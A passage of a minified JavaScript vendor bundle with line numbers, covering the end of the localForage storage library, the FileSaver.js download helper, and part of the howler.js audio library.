1078 return i(n, e), n
1079 }
1080
1081 function X(e) {
1082 var t = this,
1083 n = {};
1084 if (e)
1085 for (var r in e) n[r] = e[r];
1086 return n.keyPrefix = n.name + "/", n.storeName !== t._defaultConfig.storeName && (n.keyPrefix += n.storeName + "/"), t._dbInfo = n, n.serializer = xe, ce.resolve()
1087 }
1088
1089 function H(e) {
1090 var t = this,
1091 n = t.ready().then(function() {
1092 for (var e = t._dbInfo.keyPrefix, n = localStorage.length - 1; n >= 0; n--) {
1093 var r = localStorage.key(n);
1094 0 === r.indexOf(e) && localStorage.removeItem(r)
1095 }
1096 });
1097 return i(n, e), n
1098 }
1099
1100 function J(e, t) {
1101 var n = this;
1102 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1103 var r = n.ready().then(function() {
1104 var t = n._dbInfo,
1105 r = localStorage.getItem(t.keyPrefix + e);
1106 return r && (r = t.serializer.deserialize(r)), r
1107 });
1108 return i(r, t), r
1109 }
1110
1111 function K(e, t) {
1112 var n = this,
1113 r = n.ready().then(function() {
1114 for (var t = n._dbInfo, r = t.keyPrefix, o = r.length, i = localStorage.length, a = 1, u = 0; u < i; u++) {
1115 var c = localStorage.key(u);
1116 if (0 === c.indexOf(r)) {
1117 var f = localStorage.getItem(c);
1118 if (f && (f = t.serializer.deserialize(f)), void 0 !== (f = e(f, c.substring(o), a++))) return f
1119 }
1120 }
1121 });
1122 return i(r, t), r
1123 }
1124
1125 function V(e, t) {
1126 var n = this,
1127 r = n.ready().then(function() {
1128 var t, r = n._dbInfo;
1129 try {
1130 t = localStorage.key(e)
1131 } catch (e) {
1132 t = null
1133 }
1134 return t && (t = t.substring(r.keyPrefix.length)), t
1135 });
1136 return i(r, t), r
1137 }
1138
1139 function Y(e) {
1140 var t = this,
1141 n = t.ready().then(function() {
1142 for (var e = t._dbInfo, n = localStorage.length, r = [], o = 0; o < n; o++) 0 === localStorage.key(o).indexOf(e.keyPrefix) && r.push(localStorage.key(o).substring(e.keyPrefix.length));
1143 return r
1144 });
1145 return i(n, e), n
1146 }
1147
1148 function Z(e) {
1149 var t = this.keys().then(function(e) {
1150 return e.length
1151 });
1152 return i(t, e), t
1153 }
1154
1155 function $(e, t) {
1156 var n = this;
1157 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1158 var r = n.ready().then(function() {
1159 var t = n._dbInfo;
1160 localStorage.removeItem(t.keyPrefix + e)
1161 });
1162 return i(r, t), r
1163 }
1164
1165 function ee(e, t, n) {
1166 var r = this;
1167 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1168 var o = r.ready().then(function() {
1169 void 0 === t && (t = null);
1170 var n = t;
1171 return new ce(function(o, i) {
1172 var a = r._dbInfo;
1173 a.serializer.serialize(t, function(t, r) {
1174 if (r) i(r);
1175 else try {
1176 localStorage.setItem(a.keyPrefix + e, t), o(n)
1177 } catch (e) {
1178 "QuotaExceededError" !== e.name && "NS_ERROR_DOM_QUOTA_REACHED" !== e.name || i(e), i(e)
1179 }
1180 })
1181 })
1182 });
1183 return i(o, n), o
1184 }
1185
1186 function te(e, t) {
1187 e[t] = function() {
1188 var n = arguments;
1189 return e.ready().then(function() {
1190 return e[t].apply(e, n)
1191 })
1192 }
1193 }
1194
1195 function ne() {
1196 for (var e = 1; e < arguments.length; e++) {
1197 var t = arguments[e];
1198 if (t)
1199 for (var n in t) t.hasOwnProperty(n) && (Pe(t[n]) ? arguments[0][n] = t[n].slice() : arguments[0][n] = t[n])
1200 }
1201 return arguments[0]
1202 }
1203
1204 function re(e) {
1205 for (var t in Te)
1206 if (Te.hasOwnProperty(t) && Te[t] === e) return !0;
1207 return !1
1208 }
1209 var oe = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) {
1210 return typeof e
1211 } : function(e) {
1212 return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e
1213 },
1214 ie = function() {
1215 try {
1216 if ("undefined" != typeof indexedDB) return indexedDB;
1217 if ("undefined" != typeof webkitIndexedDB) return webkitIndexedDB;
1218 if ("undefined" != typeof mozIndexedDB) return mozIndexedDB;
1219 if ("undefined" != typeof OIndexedDB) return OIndexedDB;
1220 if ("undefined" != typeof msIndexedDB) return msIndexedDB
1221 } catch (e) {}
1222 }();
1223 "undefined" == typeof Promise && e(3);
1224 var ae, ue, ce = Promise,
1225 fe = "local-forage-detect-blob-support",
1226 se = Object.prototype.toString,
1227 le = "readonly",
1228 de = "readwrite",
1229 ve = {
1230 _driver: "asyncStorage",
1231 _initStorage: I,
1232 iterate: A,
1233 getItem: E,
1234 setItem: D,
1235 removeItem: j,
1236 clear: O,
1237 length: B,
1238 key: R,
1239 keys: k
1240 },
1241 he = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
1242 ye = "~~local_forage_type~",
1243 pe = /^~~local_forage_type~([^~]+)~/,
1244 be = "__lfsc__:",
1245 ge = be.length,
1246 me = "arbf",
1247 _e = "blob",
1248 we = "si08",
1249 Se = "ui08",
1250 Ie = "uic8",
1251 Ee = "si16",
1252 Ae = "si32",
1253 De = "ur16",
1254 je = "ui32",
1255 Oe = "fl32",
1256 Be = "fl64",
1257 Re = ge + me.length,
1258 ke = Object.prototype.toString,
1259 xe = {
1260 serialize: C,
1261 deserialize: L,
1262 stringToBuffer: x,
1263 bufferToString: N
1264 },
1265 Ne = {
1266 _driver: "webSQLStorage",
1267 _initStorage: T,
1268 iterate: z,
1269 getItem: F,
1270 setItem: P,
1271 removeItem: q,
1272 clear: U,
1273 length: W,
1274 key: Q,
1275 keys: G
1276 },
1277 Ce = {
1278 _driver: "localStorageWrapper",
1279 _initStorage: X,
1280 iterate: K,
1281 getItem: J,
1282 setItem: ee,
1283 removeItem: $,
1284 clear: H,
1285 length: Z,
1286 key: V,
1287 keys: Y
1288 },
1289 Le = {},
1290 Te = {
1291 INDEXEDDB: "asyncStorage",
1292 LOCALSTORAGE: "localStorageWrapper",
1293 WEBSQL: "webSQLStorage"
1294 },
1295 Fe = ["clear", "getItem", "iterate", "key", "keys", "length", "removeItem", "setItem"],
1296 ze = {
1297 description: "",
1298 driver: [Te.INDEXEDDB, Te.WEBSQL, Te.LOCALSTORAGE].slice(),
1299 name: "localforage",
1300 size: 4980736,
1301 storeName: "keyvaluepairs",
1302 version: 1
1303 },
1304 Me = {};
1305 Me[Te.INDEXEDDB] = function() {
1306 try {
1307 if (!ie) return !1;
1308 var e = "undefined" != typeof openDatabase && /(Safari|iPhone|iPad|iPod)/.test(navigator.userAgent) && !/Chrome/.test(navigator.userAgent) && !/BlackBerry/.test(navigator.platform),
1309 t = "function" == typeof fetch && -1 !== fetch.toString().indexOf("[native code");
1310 return (!e || t) && "undefined" != typeof indexedDB && "undefined" != typeof IDBKeyRange
1311 } catch (e) {
1312 return !1
1313 }
1314 }(), Me[Te.WEBSQL] = function() {
1315 return "function" == typeof openDatabase
1316 }(), Me[Te.LOCALSTORAGE] = function() {
1317 try {
1318 return "undefined" != typeof localStorage && "setItem" in localStorage && localStorage.setItem
1319 } catch (e) {
1320 return !1
1321 }
1322 }();
1323 var Pe = Array.isArray || function(e) {
1324 return "[object Array]" === Object.prototype.toString.call(e)
1325 },
1326 qe = new(function() {
1327 function e(t) {
1328 r(this, e), this.INDEXEDDB = Te.INDEXEDDB, this.LOCALSTORAGE = Te.LOCALSTORAGE, this.WEBSQL = Te.WEBSQL, this._defaultConfig = ne({}, ze), this._config = ne({}, this._defaultConfig, t), this._driverSet = null, this._initDriver = null, this._ready = !1, this._dbInfo = null, this._wrapLibraryMethodsWithReady(), this.setDriver(this._config.driver).catch(function() {})
1329 }
1330 return e.prototype.config = function(e) {
1331 if ("object" === (void 0 === e ? "undefined" : oe(e))) {
1332 if (this._ready) return new Error("Can't call config() after localforage has been used.");
1333 for (var t in e) {
1334 if ("storeName" === t && (e[t] = e[t].replace(/\W/g, "_")), "version" === t && "number" != typeof e[t]) return new Error("Database version must be a number.");
1335 this._config[t] = e[t]
1336 }
1337 return !("driver" in e && e.driver) || this.setDriver(this._config.driver)
1338 }
1339 return "string" == typeof e ? this._config[e] : this._config
1340 }, e.prototype.defineDriver = function(e, t, n) {
1341 var r = new ce(function(t, n) {
1342 try {
1343 var r = e._driver,
1344 o = new Error("Custom driver not compliant; see https://mozilla.github.io/localForage/#definedriver"),
1345 i = new Error("Custom driver name already in use: " + e._driver);
1346 if (!e._driver) return void n(o);
1347 if (re(e._driver)) return void n(i);
1348 for (var a = Fe.concat("_initStorage"), u = 0; u < a.length; u++) {
1349 var c = a[u];
1350 if (!c || !e[c] || "function" != typeof e[c]) return void n(o)
1351 }
1352 var f = function(n) {
1353 Me[r] = n, Le[r] = e, t()
1354 };
1355 "_support" in e ? e._support && "function" == typeof e._support ? e._support().then(f, n) : f(!!e._support) : f(!0)
1356 } catch (e) {
1357 n(e)
1358 }
1359 });
1360 return a(r, t, n), r
1361 }, e.prototype.driver = function() {
1362 return this._driver || null
1363 }, e.prototype.getDriver = function(e, t, n) {
1364 var r = this,
1365 o = ce.resolve().then(function() {
1366 if (!re(e)) {
1367 if (Le[e]) return Le[e];
1368 throw new Error("Driver not found.")
1369 }
1370 switch (e) {
1371 case r.INDEXEDDB:
1372 return ve;
1373 case r.LOCALSTORAGE:
1374 return Ce;
1375 case r.WEBSQL:
1376 return Ne
1377 }
1378 });
1379 return a(o, t, n), o
1380 }, e.prototype.getSerializer = function(e) {
1381 var t = ce.resolve(xe);
1382 return a(t, e), t
1383 }, e.prototype.ready = function(e) {
1384 var t = this,
1385 n = t._driverSet.then(function() {
1386 return null === t._ready && (t._ready = t._initDriver()), t._ready
1387 });
1388 return a(n, e, e), n
1389 }, e.prototype.setDriver = function(e, t, n) {
1390 function r() {
1391 u._config.driver = u.driver()
1392 }
1393
1394 function o(e) {
1395 return u._extend(e), r(), u._ready = u._initStorage(u._config), u._ready
1396 }
1397
1398 function i(e) {
1399 return function() {
1400 function t() {
1401 for (; n < e.length;) {
1402 var i = e[n];
1403 return n++, u._dbInfo = null, u._ready = null, u.getDriver(i).then(o).catch(t)
1404 }
1405 r();
1406 var a = new Error("No available storage method found.");
1407 return u._driverSet = ce.reject(a), u._driverSet
1408 }
1409 var n = 0;
1410 return t()
1411 }
1412 }
1413 var u = this;
1414 Pe(e) || (e = [e]);
1415 var c = this._getSupportedDrivers(e),
1416 f = null !== this._driverSet ? this._driverSet.catch(function() {
1417 return ce.resolve()
1418 }) : ce.resolve();
1419 return this._driverSet = f.then(function() {
1420 var e = c[0];
1421 return u._dbInfo = null, u._ready = null, u.getDriver(e).then(function(e) {
1422 u._driver = e._driver, r(), u._wrapLibraryMethodsWithReady(), u._initDriver = i(c)
1423 })
1424 }).catch(function() {
1425 r();
1426 var e = new Error("No available storage method found.");
1427 return u._driverSet = ce.reject(e), u._driverSet
1428 }), a(this._driverSet, t, n), this._driverSet
1429 }, e.prototype.supports = function(e) {
1430 return !!Me[e]
1431 }, e.prototype._extend = function(e) {
1432 ne(this, e)
1433 }, e.prototype._getSupportedDrivers = function(e) {
1434 for (var t = [], n = 0, r = e.length; n < r; n++) {
1435 var o = e[n];
1436 this.supports(o) && t.push(o)
1437 }
1438 return t
1439 }, e.prototype._wrapLibraryMethodsWithReady = function() {
1440 for (var e = 0; e < Fe.length; e++) te(this, Fe[e])
1441 }, e.prototype.createInstance = function(t) {
1442 return new e(t)
1443 }, e
1444 }());
1445 t.exports = qe
1446 }, {
1447 3: 3
1448 }]
1449}, {}, [4])(4)
1450});
1451//os/vendor/FileSaver.js
1452var saveAs = saveAs || function(e) {
1453"use strict";
1454if ("undefined" == typeof navigator || !/MSIE [1-9]\./.test(navigator.userAgent)) {
1455 var t = e.document,
1456 n = function() {
1457 return e.URL || e.webkitURL || e
1458 },
1459 o = t.createElementNS("http://www.w3.org/1999/xhtml", "a"),
1460 r = "download" in o,
1461 i = function(n) {
1462 var o = t.createEvent("MouseEvents");
1463 o.initMouseEvent("click", !0, !1, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), n.dispatchEvent(o)
1464 },
1465 a = e.webkitRequestFileSystem,
1466 c = e.requestFileSystem || a || e.mozRequestFileSystem,
1467 f = function(t) {
1468 (e.setImmediate || e.setTimeout)(function() {
1469 throw t
1470 }, 0)
1471 },
1472 u = 0,
1473 s = function(t) {
1474 var o = function() {
1475 "string" == typeof t ? n().revokeObjectURL(t) : t.remove()
1476 };
1477 e.chrome ? o() : setTimeout(o, 500)
1478 },
1479 d = function(e, t, n) {
1480 for (var o = (t = [].concat(t)).length; o--;) {
1481 var r = e["on" + t[o]];
1482 if ("function" == typeof r) try {
1483 r.call(e, n || e)
1484 } catch (e) {
1485 f(e)
1486 }
1487 }
1488 },
1489 l = function(e) {
1490 return /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(e.type) ? new Blob(["\ufeff", e], {
1491 type: e.type
1492 }) : e
1493 },
1494 p = function(t, f) {
1495 var p, v, w, y = this,
1496 m = (t = l(t)).type,
1497 S = !1,
1498 h = function() {
1499 d(y, "writestart progress write writeend".split(" "))
1500 },
1501 O = function() {
1502 !S && p || (p = n().createObjectURL(t)), v ? v.location.href = p : void 0 == e.open(p, "_blank") && "undefined" != typeof safari && (e.location.href = p), y.readyState = y.DONE, h(), s(p)
1503 },
1504 E = function(e) {
1505 return function() {
1506 if (y.readyState !== y.DONE) return e.apply(this, arguments)
1507 }
1508 },
1509 R = {
1510 create: !0,
1511 exclusive: !1
1512 };
1513 if (y.readyState = y.INIT, f || (f = "download"), r) return p = n().createObjectURL(t), o.href = p, o.download = f, i(o), y.readyState = y.DONE, h(), void s(p);
1514 e.chrome && m && "application/octet-stream" !== m && (w = t.slice || t.webkitSlice, t = w.call(t, 0, t.size, "application/octet-stream"), S = !0), a && "download" !== f && (f += ".download"), ("application/octet-stream" === m || a) && (v = e), c ? (u += t.size, c(e.TEMPORARY, u, E(function(e) {
1515 e.root.getDirectory("saved", R, E(function(e) {
1516 var n = function() {
1517 e.getFile(f, R, E(function(e) {
1518 e.createWriter(E(function(n) {
1519 n.onwriteend = function(t) {
1520 v.location.href = e.toURL(), y.readyState = y.DONE, d(y, "writeend", t), s(e)
1521 }, n.onerror = function() {
1522 var e = n.error;
1523 e.code !== e.ABORT_ERR && O()
1524 }, "writestart progress write abort".split(" ").forEach(function(e) {
1525 n["on" + e] = y["on" + e]
1526 }), n.write(t), y.abort = function() {
1527 n.abort(), y.readyState = y.DONE
1528 }, y.readyState = y.WRITING
1529 }), O)
1530 }), O)
1531 };
1532 e.getFile(f, {
1533 create: !1
1534 }, E(function(e) {
1535 e.remove(), n()
1536 }), E(function(e) {
1537 e.code === e.NOT_FOUND_ERR ? n() : O()
1538 }))
1539 }), O)
1540 }), O)) : O()
1541 },
1542 v = p.prototype,
1543 w = function(e, t) {
1544 return new p(e, t)
1545 };
1546 return "undefined" != typeof navigator && navigator.msSaveOrOpenBlob ? function(e, t) {
1547 return navigator.msSaveOrOpenBlob(l(e), t)
1548 } : (v.abort = function() {
1549 var e = this;
1550 e.readyState = e.DONE, d(e, "abort")
1551 }, v.readyState = v.INIT = 0, v.WRITING = 1, v.DONE = 2, v.error = v.onwritestart = v.onprogress = v.onwrite = v.onabort = v.onerror = v.onwriteend = null, w)
1552}
1553}("undefined" != typeof self && self || "undefined" != typeof window && window || this.content);
1554"undefined" != typeof module && module.exports ? module.exports.saveAs = saveAs : "undefined" != typeof define && null !== define && null != define.amd && define([], function() {
1555return saveAs
1556});
1557//os/vendor/howler.js
1558! function() {
1559var e = {},
1560 o = null,
1561 n = !0,
1562 t = !1;
1563try {
1564 "undefined" != typeof AudioContext ? o = new AudioContext : "undefined" != typeof webkitAudioContext ? o = new webkitAudioContext : n = !1
1565} catch (e) {
1566 n = !1
1567}
1568if (!n)
1569 if ("undefined" != typeof Audio) try {
1570 new Audio
1571 } catch (e) {
1572 t = !0
1573 } else t = !0;
1574if (n) {
1575 var r = void 0 === o.createGain ? o.createGainNode() : o.createGain();
1576 r.gain.value = 1, r.connect(o.destination)
1577}
1578var a = function(e) {
1579 this._volume = 1, this._muted = !1, this.usingWebAudio = n, this.ctx = o, this.noAudio = t, this._howls = [], this._codecs = e, this.iOSAutoEnable = !0
1580};
1581a.prototype = {
1582 volume: function(e) {
1583 var o = this;
1584 if ((e = parseFloat(e)) >= 0 && e <= 1) {
1585 o._volume = e, n && (r.gain.value = e);
1586 for (var t in o._howls)
1587 if (o._howls.hasOwnProperty(t) && !1 === o._howls[t]._webAudio)
1588 for (var a = 0; a < o._howls[t]._audioNode.length; a++) o._howls[t]._audioNode[a].volume = o._howls[t]._volume * o._volume;
1589 return o
1590 }
1591 return n ? r.gain.value : o._volume
1592 },
1593 mute: function() {
1594 return this._setMuted(!0), this
1595 },
1596 unmute: function() {
1597 return this._setMuted(!1), this
1598 },
1599 _setMuted: function(e) {
1600 var o = this;
1601 o._muted = e, n && (r.gain.value = e ? 0 : o._volume);
1602 for (var t in o._howls)
1603 if (o._howls.hasOwnProperty(t) && !1 === o._howls[t]._webAudio)
1604 for (var a = 0; a < o._howls[t]._audioNode.length; a++) o._howls[t]._audioNode[a].muted = e
1605 },
1606 codecs: function(e) {
1607 return this._codecs[e]
1608 },
1609 _enableiOSAudio: function() {
1610 var e = this;
1611 if (!o || !e._iOSEnabled && /iPhone|iPad|iPod/i.test(navigator.userAgent)) {
1612 e._iOSEnabled = !1;
1613 var n = function() {
1614 var t = o.createBuffer(1, 1, 22050),
1615 r = o.createBufferSource();
1616 r.buffer = t, r.connect(o.destination), void 0 === r.start ? r.noteOn(0) : r.start(0), setTimeout(function() {
1617 r.playbackState !== r.PLAYING_STATE && r.playbackState !== r.FINISHED_STATE || (e._iOSEnabled = !0, e.iOSAutoEnable = !1, window.removeEventListener("touchstart", n, !1))
1618 }, 0)
1619 };
1620 return window.addEventListener("touchstart", n, !1), e
1621 }
1622 }
1623};
1624var i = null,
1625 u = {};
1626t || (i = new Audio, u = {
1627 mp3: !!i.canPlayType("audio/mpeg;").replace(/^no$/, ""),
1628 opus: !!i.canPlayType('audio/ogg; codecs="opus"').replace(/^no$/, ""),
1629 ogg: !!i.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/, ""),
1630 wav: !!i.canPlayType('audio/wav; codecs="1"').replace(/^no$/, ""),
1631 aac: !!i.canPlayType("audio/aac;").replace(/^no$/, ""),
1632 m4a: !!(i.canPlayType("audio/x-m4a;") || i.canPlayType("audio/m4a;") || i.canPlayType("audio/aac;")).replace(/^no$/, ""),
1633 mp4: !!(i.canPlayType("audio/x-mp4;") || i.canPlayType("audio/mp4;") || i.canPlayType("audio/aac;")).replace(/^no$/, ""),
1634 weba: !!i.canPlayType('audio/webm; codecs="vorbis"').replace(/^no$/, "")
1635});
1636var d = new a(u),
1637 l = function(e) {
1638 var t = this;
1639 t._autoplay = e.autoplay || !1, t._buffer = e.buffer || !1, t._duration = e.duration || 0, t._format = e.format || null, t._loop = e.loop || !1, t._loaded = !1, t._sprite = e.sprite || {}, t._src = e.src || "", t._pos3d = e.pos3d || [0, 0, -.5], t._volume = void 0 !== e.volume ? e.volume : 1, t._urls = e.urls || [], t._rate = e.rate || 1, t._model = e.model || null, t._onload = [e.onload || function() {}], t._onloaderror = [e.onloaderror || function() {}], t._onend = [e.onend || function() {}], t._onpause = [e.onpause || function() {}], t._onplay = [e.onplay || function() {}], t._onendTimer = [], t._webAudio = n && !t._buffer, t._audioNode = [], t._webAudio && t._setupAudioNode(), void 0 !== o && o && d.iOSAutoEnable && d._enableiOSAudio(), d._howls.push(t), t.load()
1640 };
1641if (l.prototype = {
1642 load: function() {
1643 var e = this,
1644 o = null;
1645 if (t) e.on("loaderror");
1646 else {
1647 for (var n = 0; n < e._urls.length; n++) {
1648 var r, i;
1649 if (e._format) r = e._format;
1650 else {
1651 if (i = e._urls[n], (r = /^data:audio\/([^;,]+);/i.exec(i)) || (r = /\.([^.]+)$/.exec(i.split("?", 1)[0])), !r) return void e.on("loaderror");
1652 r = r[1].toLowerCase()
1653 }
1654 if (u[r]) {
1655 o = e._urls[n];
1656 break
1657 }
1658 }
1659 if (o) {
1660 if (e._src = o, e._webAudio) f(e, o);
1661 else {
1662 var l = new Audio;
1663 l.addEventListener("error", function() {
1664 l.error && 4 === l.error.code && (a.noAudio = !0), e.on("loaderror", {
1665 type: l.error ? l.error.code : 0
1666 })
1667 }, !1), e._audioNode.push(l), l.src = o, l._pos = 0, l.preload = "auto", l.volume = d._muted ? 0 : e._volume * d.volume();
1668 var _ = function() {
1669 e._duration = Math.ceil(10 * l.duration) / 10, 0 === Object.getOwnPropertyNames(e._sprite).length && (e._sprite = {
1670 _default: [0, 1e3 * e._duration]
1671 }), e._loaded || (e._loaded = !0, e.on("load")), e._autoplay && e.play(), l.removeEventListener("canplaythrough", _, !1)
1672 };
1673 l.addEventListener("canplaythrough", _, !1), l.load()
1674 }
1675 return e
1676 }
1677 e.on("loaderror")
1678 }
1679 },
1680 urls: function(e) {
1681 var o = this;
1682 return e ? (o.stop(), o._urls = "string" == typeof e ? [e] : e, o._loaded = !1, o.load(), o) : o._urls
1683 },
1684 play: function(e, n) {
1685 var t = this;
1686 return "function" == typeof e && (n = e), e && "function" != typeof e || (e = "_default"), t._loaded ? t._sprite[e] ? (t._inactiveNode(function(r) {
1687 r._sprite = e;
1688 var a = r._pos > 0 ? r._pos : t._sprite[e][0] / 1e3,
1689 i = 0;
1690 t._webAudio ? (i = t._sprite[e][1] / 1e3 - r._pos, r._pos > 0 && (a = t._sprite[e][0] / 1e3 + a)) : i = t._sprite[e][1] / 1e3 - (a - t._sprite[e][0] / 1e3);
1691 var u, l = !(!t._loop && !t._sprite[e][2]),
1692 f = "string" == typeof n ? n : Math.round(Date.now() * Math.random()) + "";
1693 if (function() {
1694 var o = {
1695 id: f,
1696 sprite: e,
1697 loop: l
1698 };
1699 u = setTimeout(function() {
1700 !t._webAudio && l && t.stop(o.id).play(e, o.id), t._webAudio && !l && (t._nodeById(o.id).paused = !0, t._nodeById(o.id)._pos = 0, t._clearEndTimer(o.id)), t._webAudio || l || t.stop(o.id), t.on("end", f)
1701 }, 1e3 * i), t._onendTimer.push({
1702 timer: u,
1703 id: o.id
1704 })
1705 }(), t._webAudio) {
1706 var _ = t._sprite[e][0] / 1e3,
1707 s = t._sprite[e][1] / 1e3;
1708 r.id = f, r.paused = !1, c(t, [l, _, s], f), t._playStart = o.currentTime, r.gain.value = t._volume, void 0 === r.bufferSource.start ? l ? r.bufferSource.noteGrainOn(0, a, 86400) : r.bufferSource.noteGrainOn(0, a, i) : l ? r.bufferSource.start(0, a, 86400) : r.bufferSource.start(0, a, i)
1709 } else {
1710 if (4 !== r.readyState && (r.readyState || !navigator.isCocoonJS)) return t._clearEndTimer(f),
1711 function() {
1712 var o = t,
1713 a = e,
1714 i = n,
1715 u = r,
1716 d = function() {
1717 o.play(a, i), u.removeEventListener("canplaythrough", d, !1)
1718 };
1719 u.addEventListener("canplaythrough", d, !1)
1720 }(), t;
1721 r.readyState = 4, r.id = f, r.currentTime = a, r.muted = d._muted || r.muted, r.volume = t._volume * d.volume(), setTimeout(function() {
1722 r.play()
1723 }, 0)
1724 }
1725 return t.on("play"), "function" == typeof n && n(f), t
1726 }), t) : ("function" == typeof n && n(), t) : (t.on("load", function() {
1727 t.play(e, n)
1728 }), t)
1729 },
1730 pause: function(e) {
1731 var o = this;
1732 if (!o._loaded) return o.on("play", function() {
1733 o.pause(e)
1734 }), o;
1735 o._clearEndTimer(e);
1736 var n = e ? o._nodeById(e) : o._activeNode();
1737 if (n)
1738 if (n._pos = o.pos(null, e), o._webAudio) {
1739 if (!n.bufferSource || n.paused) return o;
1740 n.paused = !0, void 0 === n.bufferSource.stop ? n.bufferSource.noteOff(0) : n.bufferSource.stop(0)
1741 } else n.pause();
1742 return o.on("pause"), o
1743 },
1744 stop: function(e) {
1745 var o = this;
1746 if (!o._loaded) return o.on("play", function() {
1747 o.stop(e)
1748 }), o;
1749 o._clearEndTimer(e);
1750 var n = e ? o._nodeById(e) : o._activeNode();
1751 if (n)
1752 if (n._pos = 0, o._webAudio) {
1753 if (!n.bufferSource || n.paused) return o;
1754 n.paused = !0, void 0 === n.bufferSource.stop ? n.bufferSource.noteOff(0) : n.bufferSource.stop(0)
1755 } else isNaN(n.duration) || (n.pause(), n.currentTime = 0);
1756 return o
1757 },
1758 mute: function(e) {
1759 var o = this;
1760 if (!o._loaded) return o.on("play", function() {
1761 o.mute(e)
1762 }), o;
1763 var n = e ? o._nodeById(e) : o._activeNode();
1764 return n && (o._webAudio ? n.gain.value = 0 : n.muted = !0), o
1765 },
1766 unmute: function(e) {
1767 var o = this;
1768 if (!o._loaded) return o.on("play", function() {
1769 o.unmute(e)
1770 }), o;
1771 var n = e ? o._nodeById(e) : o._activeNode();
1772 return n && (o._webAudio ? n.gain.value = o._volume : n.muted = !1), o
1773 },
1774 volume: function(e, o) {
1775 var n = this;
1776 if ((e = parseFloat(e)) >= 0 && e <= 1) {
1777 if (n._volume = e, !n._loaded) return n.on("play", function() {
1778 n.volume(e, o)
1779 }), n;
1780 var t = o ? n._nodeById(o) : n._activeNode();
1781 return t && (n._webAudio ? t.gain.value = e : t.volume = e * d.volume()), n
1782 }
1783 return n._volume
1784 },
1785 loop: function(e) {
1786 var o = this;
1787 return "boolean" == typeof e ? (o._loop = e, o) : o._loop
1788 },
1789 sprite: function(e) {
1790 var o = this;
1791 return "object" == typeof e ? (o._sprite = e, o) : o._sprite
1792 },
1793 pos: function(e, n) {
1794 var t = this;
1795 if (!t._loaded) return t.on("load", function() {
1796 t.pos(e)
1797 }), "number" == typeof e ? t : t._pos || 0;
1798 e = parseFloat(e);
1799 var r = n ? t._nodeById(n) : t._activeNode();
1800 if (r) return e >= 0 ? (t.pause(n), r._pos = e, t.play(r._sprite, n), t) : t._webAudio ? r._pos + (o.currentTime - t._playStart) : r.currentTime;
1801 if (e >= 0) return t;
1802 for (var a = 0; a < t._audioNode.length; a++)
1803 if (t._audioNode[a].paused && 4 === t._audioNode[a].readyState) return t._webAudio ? t._audioNode[a]._pos : t._audioNode[a].currentTime
1804 },
1805 pos3d: function(e, o, n, t) {
1806 var r = this;
1807 if (o = void 0 !== o && o ? o : 0, n = void 0 !== n && n ? n : -.5, !r._loaded) return r.on("play", function() {
1808 r.pos3d(e, o, n, t)
1809 }), r;
1810 if (!(e >= 0 || e < 0)) return r._pos3d;
1811 if (r._webAudio) {
1812 var a = t ? r._nodeById(t) : r._activeNode();
1813 a && (r._pos3d = [e, o, n], a.panner.setPosition(e, o, n), a.panner.panningModel = r._model || "HRTF")
1814 }
1815 return r
1816 },
1817 fade: function(e, o, n, t, r) {
1818 var a = this,
1819 i = Math.abs(e - o),
1820 u = e > o ? "down" : "up",
1821 d = i / .01,
1822 l = n / d;
1823 if (!a._loaded) return a.on("load", function() {
1824 a.fade(e, o, n, t, r)
1825 }), a;
1826 a.volume(e, r);
1827 for (var f = 1; f <= d; f++) ! function() {
1828 var e = a._volume + ("up" === u ? .01 : -.01) * f,
1829 n = Math.round(1e3 * e) / 1e3,
1830 i = o;
1831 setTimeout(function() {
1832 a.volume(n, r), n === i && t && t()
1833 }, l * f)
1834 }()
1835 },
1836 fadeIn: function(e, o, n) {
1837 return this.volume(0).play().fade(0, e, o, n)
1838 },
1839 fadeOut: function(e, o, n, t) {
1840 var r = this;
1841 return r.fade(r._volume, e, o, function() {
1842 n && n(), r.pause(t), r.on("end")
1843 }, t)
1844 },
1845 _nodeById: function(e) {
1846 for (var o = this, n = o._audioNode[0], t = 0; t < o._audioNode.length; t++)
1847 if (o._audioNode[t].id === e) {
1848 n = o._audioNode[t];
1849 break
1850 }
1851 return n
1852 },
1853 _activeNode: function() {
1854 for (var e = this, o = null, n = 0; n < e._audioNode.length; n++)
1855 if (!e._audioNode[n].paused) {
1856 o = e._audioNode[n];
1857 break
1858 }
1859 return e._drainPool(), o
1860 },
1861 _inactiveNode: function(e) {
1862 for (var o = this, n = null, t = 0; t < o._audioNode.length; t++)
1863 if (o._audioNode[t].paused && 4 === o._audioNode[t].readyState) {
1864 e(o._audioNode[t]), n = !0;
1865 break
1866 }
1867 if (o._drainPool(), !n) {
1868 var r;
1869 if (o._webAudio) r = o._setupAudioNode(), e(r);
1870 else {
1871 o.load(), r = o._audioNode[o._audioNode.length - 1];
1872 var a = navigator.isCocoonJS ? "canplaythrough" : "loadedmetadata",
1873 i = function() {
1874 r.removeEventListener(a, i, !1), e(r)
1875 };
1876 r.addEventListener(a, i, !1)
1877 }
1878 }
1879 },
1880 _drainPool: function() {
1881 var e, o = this,
1882 n = 0;
1883 for (e = 0; e < o._audioNode.length; e++) o._audioNode[e].paused && n++;
1884 for (e = o._audioNode.length - 1; e >= 0 && !(n <= 5); e--) o._audioNode[e].paused && (o._webAudio && o._audioNode[e].disconnect(0), n--, o._audioNode.splice(e, 1))
1885 },
1886 _clearEndTimer: function(e) {
1887 for (var o = this, n = 0, t = 0; t < o._onendTimer.length; t++)
1888 if (o._onendTimer[t].id === e) {
1889 n = t;
1890 break
1891 }
1892 var r = o._onendTimer[n];
1893 r && (clearTimeout(r.timer), o._onendTimer.splice(n, 1))
1894 },
1895 _setupAudioNode: function() {
1896 var e = this,
1897 n = e._audioNode,
1898 t = e._audioNode.length;
